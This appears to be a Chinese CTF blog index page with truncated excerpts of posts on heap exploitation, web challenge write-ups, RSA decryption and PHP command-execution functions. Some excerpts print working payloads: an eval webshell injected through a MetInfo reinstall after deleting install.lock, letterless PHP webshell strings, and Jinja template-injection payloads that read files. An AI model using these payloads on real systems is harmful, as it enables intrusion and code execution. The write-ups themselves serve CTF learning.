前言how2heap有了很大的变化,特在此学习,记录。
内存分配概述摘自华庭大佬。
分配算法概述,以 32 系统为例,64 位系统类似。
小于等于 64 字节:用 pool 算法分配。
64 到 512 字节之间:在最佳匹配算法分配和 pool 算法分配中取一种合适的。
大于等于 512 字节:用最佳匹配算法分配。
大于等于 mmap 分配阈值(默认值 128KB):根据设置的 mmap 的分配策略进行分配,如果没有开启 mmap 分配阈值的动态调整机制,大于等于 128KB 就直接调用 mmap分配。否则,大于等于 mmap 分配阈值时才直接调用 mmap()分配。
ptma...
前言入坑pwn至今,基础知识了解了不少,是时候动手刷题了。这次以0ctf2018-babyheap为例,做个记录。首先,不得不提,writeup有很多,有的写得非常好,但是本人能力不足,理解起来比较费劲,不求甚解是原罪,特在此记录遇到坑点。
题目连接: https://github.com/eternalsakura/ctf_pwn/blob/master/0ctf2018/babyheap.tar.gz
利用到的知识点如下:
overlapping_chunks
fastbin attack
题目分析版本&保护措施12345678910qianfa@qianfa:~/Des...
WebPiggy Bank
根据注释找到http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/api/bankservice.wsdl.php
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455<wsdl:definitions xmlns:tns="urn:Bank" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="ht...
Webdot free
ip2long
123456789101112131415161718192021222324ip_addr='192.168.2.10'# transfer ip to intdef ip2long(ip): ip_list=ip.split('.') result=0 for i in range(4): #0,1,2,3 result=result+int(ip_list[i])*256**(3-i) return resultlong=3232236042# transfer ...
Weblz代码审计
1234567891011121314151617181920212223242526272829303132333435363738<?php include "config.php"; $number1 = rand(1,100000000000000); $number2 = rand(1,100000000000); $number3 = rand(1,100000000); $url = urldecode($_SERVER['REQUEST_URI']); $url = parse_url($url, PHP_URL_QUERY); if (preg...
pentest御剑扫描
经过目录扫描,发现file/file.php
根据网页最后提示:
12DELETE FILESorry,no filename!
可以猜测存在任意文件删除漏洞。
首先我们删除install.lock
1http://c2a2868220484acaae0b962988dbecbbd872061666de4bc6.game.ichunqiu.com/file/file.php?file=...//config/install.lock
重装metinfo,重装的时候数据库名填写
1met#*/@eval($_GET[1]);/*
数据库密码为root
执行shel...
webshell 没字母123456<?=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);=> $_GET[_]($_GET[__]);=><?=`{${~"����"}[_]}`;// echo -ne '<?=`{${~"\xa0\xb8\xba\xab"}[_]}`;'
写文件&读文件php的标签<?php存在字母肯定不行,尝试<?发现不解析,没有...
openssl相关操作提取pubkey.pem相关信息
1openssl rsa -pubin -text -modulus -in warmup -in pubkey.pem
解密:
1openssl rsautl -decrypt -in 【flag.enc】 -inkey 【private.pem】
已知p,q若已知质数p和q,则通过依次计算欧拉函数值phi、私钥d可解密。在选取加密指数e时要求phi,e互质,也就是gcd(phi,e)==1 ,如果不满足是无法直接解密的。
123456789def rsa_decrypt(e, c, p, q): phi = (p - 1)...
payload大全bypass 各种字符串
利用request.args
1{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
利用字符串拼接
12{{requ...
代码或命令执行函数:
system 允许执行一个外部程序并回显输出,类似于 passthru()
shell_exec
exec 允许执行一个外部程序
curl_exec
popen 可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
proc_open 执行一个命令并打开文件指针用于读取以及写入
passthru 允许执行一个外部程序并回显输出
pcntl_exec...